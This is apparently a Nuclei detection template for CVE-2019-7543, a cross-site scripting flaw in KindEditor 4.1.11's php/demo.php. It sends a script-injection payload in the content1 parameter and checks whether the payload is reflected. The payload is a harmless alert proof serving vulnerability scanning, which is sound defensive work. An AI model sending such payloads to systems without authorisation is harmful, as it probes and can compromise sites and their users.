id: CVE-2019-7543

info:
  name: KindEditor 4.1.11 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7543
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION
    - https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION-Deployments
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7543
    cwe-id: CWE-79
    epss-score: 0.03161
    epss-percentile: 0.86708
    cpe: cpe:2.3:a:kindsoft:kindeditor:4.1.11:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kindsoft
    product: kindeditor
  tags: cve,cve2019,kindeditor,xss,kindsoft,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/kindeditor/php/demo.php'
      - '{{BaseURL}}/php/demo.php'

    body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ed8b7528c31a7acf467835acbf825e9c3f2d98ac79f6e304e16a8acc5d5f4b10022100f238ab294f046fdc3b9dd0900f67c539e44b0d84060c6b2cd6c2d4f26e784cff:922c64590222798bb761d5b6d8e72950